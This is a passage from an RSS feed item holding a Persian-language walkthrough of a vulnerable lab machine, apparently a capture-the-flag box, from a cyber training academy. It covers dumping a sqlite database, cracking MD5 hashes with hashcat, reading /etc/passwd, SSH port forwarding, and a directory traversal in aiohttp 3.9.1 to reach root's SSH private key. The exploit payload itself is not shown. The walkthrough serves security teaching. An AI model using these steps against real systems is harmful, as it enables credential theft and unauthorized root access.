محیط ترمینال کاربرپسندتر شده و قابلیتهای آن برای اجرای دستورات پیچیدهتر یا مشاهده خروجیهای بزرگتر فراهم شود.یافتن درگاه ها و سرویس های باز برروی ماشین مجازی آسیب پذیریss -lntp استفاده از کد در خروجی این دستورات، local address:port سرویس وب بر روی 127.0.0.1:8080 است که نشان میدهد سرویس به آدرس 127.0.0.1 و پورت 8080 گوش میدهد. این بدان معناست که سرویس تنها به درخواستهایی که از همان ماشین ارسال میشود پاسخ میدهد، بنابراین امکان اتصال به این سرویس از طریق دستور curl 127.0.0.1:8080 بهطور مستقیم میسر نیست.با توجه به این محدودیت، نیاز است فایل اجرایی مرتبط با سرویس را پیدا کنیم. اما قبل از این اقدام، برای بررسی وضعیت دسترسیها و اطمینان از وجود محدودیتهای احتمالی در ارتباطات شبکهای، جداول دیوار آتش (Firewall) را بررسی میکنیم. در این بررسی مشخص میشود که دسترسی به تنظیمات دیوار آتش و iptables وجود ندارد.استفاده از sqlite 3  برای دسترسی به فایل دیتابیس batabase.dbsqlite3 database.db .dumpاستخراج اطلاعات از پایگاه داده و پیدا کردن اطلاعات کاربری در بررسیهای انجام شده، پس از مشاهده نام کاربری و رمز عبور، نیاز است که رمز عبور را با استفاده از نرمافزار Hashcat دیکد کنیم. برای این کار ابتدا باید مطمئن شویم که فرمت هش رمز عبور چیست، سپس از Hashcat برای شکستن آن استفاده خواهیم کرد.لیست نام کاربری و رمز عبور موجود در پایگاه داده یافت شده در پوشه استفاده از دستور cat tmp | awk -F\ &#039; &#039; {print s2&quot;:$4} &#039;مرحله اول: شناسایی فرمت هش رمز عبورابتدا باید فرمت هش رمز عبور را شناسایی کنیم (مثل MD5، SHA-1، bcrypt و غیره). این اطلاعات معمولاً در فایلهایی که شامل هشها هستند، مشخص میشود یا میتوان از آن بهطور غیرمستقیم با توجه به طول هش یا فرمت آن پی برد.تذکر : برای فهمیدن ساختار رمزنگاری داده ها به فایل app.py داخل پوشه ماشین مجازی می رویم و در بخش ساختار ورود نوع الگوریتم رمز نگاری را مشاهده می نماییم .مرحله دوم: استخراج هش رمز عبوراگر هش رمز عبور را از فایل پیدا کردهایم، آن را استخراج کرده و در فایلی مانند hashes.txt ذخیره میکنیم.مرحله سوم: دیکد کردن هش با استفاده از Hashcatپس از استخراج هش، از نرمافزار Hashcat برای دیکد کردن آن استفاده میکنیم. دستور زیر یک مثال است که میتواند برای دیکد کردن هشهای MD5 استفاده شود:hashcat -m 0 -a 0 hashes.txt /path/to/wordlist.txt-m 0: مشخص کننده فرمت هش (در اینجا MD5).-a 0: مشخص کننده حالت حمله (حالت حمله بر اساس دیکشنری).hashes.txt: فایلی که هشهای رمز عبور در آن ذخیره شده است./path/to/wordlist.txt: مسیر به فایل دیکشنری که در آن کلمات عبور ممکن ذخیره شدهاند.استفاده از الگوریتم رمز نگاری hashlib.md5 که همان MD5 می باشدبعد از رمزگشایی ساختار md5 رمز عبور ها نام کاربری ورمز عبور به شرح ذیل می باشد .رمزعبور های کرک شده به واسطه hashcatدر این مرحله نیاز است به نام کاربری هایی که دارای دسترسی shell برروی ماشین مجازی آسیب پذیری است دسترسی پیدا نماییم .استفاده از دستور grep sh$ /etc/passwdبا استفاده از نام کاربری rosa و رمز عبور به ssh ماشین مجازی آسیب پذیر متصل می شویم.دسترسی به curl localhost:8080 در این مرحله با دسترسی rosa میتوانیم به سرویس 8080 دسترسی داشته باشیم .دستور forward کردن پورت 8080 در SSHیکی از مهمترین کاربرد های دستور forward استفاده از دستورات سیستم داخلی و قابل اجرا در ماشین مجازی آسیب پذیر می باشد .صفحه اول دسترسی به سرویس 8080 localhost ps -ef --forestps: ابزاری برای نمایش اطلاعات مربوط به فرآیندهای در حال اجرا در سیستم.-e: تمام فرآیندها (به جز فرآیندهای هسته) را انتخاب می کند.-f: فرمت خروجی کامل را نمایش می دهد (شامل UID، PID، PPID، C، STIME، TTY، TIME و CMD).--forest: خروجی را به صورت درختی نمایش می دهد، به طوری که رابطه بین فرآیندهای والد و فرزند به وضوح نشان داده می شود.curl -I 127.0.0.1:8080با اجرای دستور بالا و مشاهده هدر درخواستها، متوجه میشویم که سرور استفاده شده در سرویسدهی درگاه 8080، AioHTTP نسخه 3.9.1 است. این اطلاعات معمولاً در هدرهای پاسخ HTTP قابل مشاهده است و میتواند به شما در شناسایی نوع سرور و نسخه آن کمک کند.سوء استفاده از آسیب پذیری aiohttp 3.91 در بررسی های انجام شده در موتور جستجو گوگل برروی آسیب پذیری سرویس دهنده وب اقدام به اجرای آسیب پذیری برروی ماشین مجازی آسیب پذیر می نماییم .  در آسیب پذیری اجرایی شده قابلیت اجرای آسیب پذیری Directory Traversal  در سرویس دهنده میسر می باشد .دستور اجرایی برای دسترسی با فایلفایل passwd با دسترسی rootدسترسی به کلید rsa سرویس SSH - rootکلید اصلی گواهی SSHauthorized_keysنویسنده : آکادمیک ای سایبر</description>
                <category>آکادمی آموزشی ای سایبر</category>
                <author>آکادمی آموزشی ای سایبر</author>
                <pubDate>Sun, 16 Mar 2025 17:00:27 +0330</pubDate>
            </item>
            </channel>
</rss>